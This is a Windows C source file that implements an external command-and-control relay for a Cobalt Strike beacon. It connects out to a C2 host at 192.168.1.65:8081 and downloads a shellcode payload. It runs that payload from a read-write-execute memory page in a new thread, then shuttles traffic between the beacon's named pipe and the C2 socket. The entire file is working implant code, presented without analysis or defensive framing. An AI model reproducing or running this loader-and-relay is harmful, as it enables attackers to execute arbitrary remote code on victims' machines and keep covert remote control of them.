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#include "stdafx.h"
// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread
void spawnBeacon(char *payload, DWORD len) {
HANDLE threadHandle;
DWORD threadId = 0;
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(alloc, payload, len);
threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);
}
// Sends data to our C2 controller received from our injected beacon
void sendData(SOCKET sd, const char *data, DWORD len) {
char *buffer = (char *)malloc(len + 4);
if (buffer == NULL)
return;
DWORD bytesWritten = 0, totalLen = 0;
*(DWORD *)buffer = len;
memcpy(buffer + 4, data, len);
while (totalLen < len + 4) {
bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);
totalLen += bytesWritten;
}
free(buffer);
}
// Receives data from our C2 controller to be relayed to the injected beacon
char *recvData(SOCKET sd, DWORD *len) {
char *buffer;
DWORD bytesReceived = 0, totalLen = 0;
*len = 0;
recv(sd, (char *)len, 4, 0);
buffer = (char *)malloc(*len);
if (buffer == NULL)
return NULL;
while (totalLen < *len) {
bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0);
totalLen += bytesReceived;
}
return buffer;
}
// Creates a new C2 controller connection for relaying commands
SOCKET createC2Socket(const char *addr, WORD port) {
WSADATA wsd;
SOCKET sd;
SOCKADDR_IN sin;
WSAStartup(0x0202, &wsd);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = inet_addr(addr);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sd, (SOCKADDR*)&sin, sizeof(sin));
return sd;
}
// Connects to the name pipe spawned by the injected beacon
HANDLE connectBeaconPipe(const char *pipeName) {
HANDLE beaconPipe;
beaconPipe = CreateFileA(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, NULL, NULL);
return beaconPipe;
}
// Receives data from our injected beacon via a named pipe
char *recvFromBeacon(HANDLE pipe, DWORD *len) {
char *buffer;
DWORD bytesRead = 0, totalLen = 0;
*len = 0;
ReadFile(pipe, len, 4, &bytesRead, NULL);
buffer = (char *)malloc(*len);
while (totalLen < *len) {
ReadFile(pipe, buffer + totalLen, *len - totalLen, &bytesRead, NULL);
totalLen += bytesRead;
}
return buffer;
}
// Write data to our injected beacon via a named pipe
void sendToBeacon(HANDLE pipe, const char *data, DWORD len) {
DWORD bytesWritten = 0;
WriteFile(pipe, &len, 4, &bytesWritten, NULL);
WriteFile(pipe, data, len, &bytesWritten, NULL);
}
int main()
{
DWORD payloadLen = 0;
char *payloadData = NULL;
HANDLE beaconPipe = INVALID_HANDLE_VALUE;
// Create a connection back to our C2 controller
SOCKET c2socket = createC2Socket("192.168.1.65", 8081);
payloadData = recvData(c2socket, &payloadLen);
// Start the CS beacon
spawnBeacon(payloadData, payloadLen);
// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
// Create our IPC pipe for talking to the C2 beacon
Sleep(500);
beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
}
while (true) {
// Start the pipe dance
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
if (payloadLen == 0) break;
sendData(c2socket, payloadData, payloadLen);
free(payloadData);
payloadData = recvData(c2socket, &payloadLen);
if (payloadLen == 0) break;
sendToBeacon(beaconPipe, payloadData, payloadLen);
free(payloadData);
}
return 0;
}
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